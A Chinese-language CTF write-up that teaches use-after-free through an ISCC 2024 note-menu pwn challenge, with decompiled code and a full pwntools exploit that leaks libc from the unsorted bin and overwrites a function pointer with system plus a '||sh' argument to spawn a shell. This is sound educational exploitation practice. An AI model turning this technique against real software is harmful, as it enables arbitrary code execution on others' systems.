一道题学uaf漏洞

uaf

写的还是有些简略,可参考好好说话之Use After Free-CSDN博客。十分的详细
题目来自iscc2024-iscc——u
查看保护

代码分析

菜单栏

int menu()
{
  puts("----------------------");
  puts(aWelcomeToIscc);
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  return printf("What's your choice :");
}

add note函数

int __cdecl print_note_content(int a1)
{
  return puts(*(a1 + 4));
}


unsigned int add_note()
{
  int v0; // esi
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !*(&notelist + i) )
      {
        *(&notelist + i) = malloc(8u); //全局变量数组notelist,我们暂且把它存放的堆称作a堆
        if ( !*(&notelist + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        **(&notelist + i) = print_note_content; //以函数名出现,没带括号()表示 **(&notelist + i)存放了print_note_content函数的地址,此函数功能是打印a堆content部分加4字节的内容堆块中的内容。有点绕见图解。
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = *(&notelist + i);
        *(v0 + 4) = malloc(size);
        if ( !*(*(&notelist + i) + 4) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *(*(&notelist + i) + 4), size);//将此堆块暂且称为内容堆块
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

正常堆块结构(也就是内容堆块的结构)

a堆块结构

delete note(先释放内容堆块,再释放a堆块,并且没有将堆指针归0,存在uaf漏洞)

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&notelist + v1) )
  {
    free(*(*(&notelist + v1) + 4));
    free(*(&notelist + v1));
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}
unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&notelist + v1) )
    (**(&notelist + v1))(*(&notelist + v1));//将**(&notelist + v1)上地址作为函数调用,*(&notelist + v1)做参数
  return __readgsdword(0x14u) ^ v3;
}

exp(把system换为one_gadget理应能出,但我这边环境问题不行。)

from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context.update(arch='i386',os='linux',log_level='debug')
# context(os='linux', arch='amd64')
file_name = "./WEEK2-pwn2_ISCC_U"
e = ELF(file_name)
p= process(file_name)
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
#p = remote(')

def debug():
    gdb.attach(p)
    #gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def choice(idx):
    sla("What's your choice :",str(idx))

def add(size,content):
    choice(1)   
    sa('Note size :',str(size))
    sa('Content :',content)
   
def delete(idx):
    choice(2)
    sa('Index :',str(idx))
    #print("删掉chunk%d" % idx)
    
def show(idx):
    choice(3)
    sa('Index :',str(idx))
def exit():
    choice(4)
    
#首先利用unsortbin泄露libc
add(0x500,b'a')
add(0x28,b'a') #原因避免下一步free后堆和top chunk合并导致在unsortedbin中找不到堆块
delete(0)
add(0x500,b'a') #一定要申请回来,保证下一步打印的时候fd指针存放的是打印函数的地址,如果在tcach中fd就是0了。
show(0)

base=u32(rc(4))-0x39-libc.sym['__malloc_hook']
print("base:"+hex(base))
sys=base+libc.sym['system']
print('system:'+hex(sys))

delete(0)
delete(1)
add(0x8,p32(sys)+b'||sh') #下标为1的a堆存放下标为0的a堆为内容堆
#add(0x8, p32(sys) + b'||sh') #在执行show函数时,调用前4个字节,也就是system,参数是note
#,也就是’217464f17c7c7368’,其中7c7c7368是’||sh’,由于system函数的特性,会执行前面的217464f1,执行失败后,发现后面有’||',于是继续执行sh,相当于执行了system(‘sh’),成功获取shell权限
# debug()
show(0)
it()
posted @   蟇窳瓨  阅读(15)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示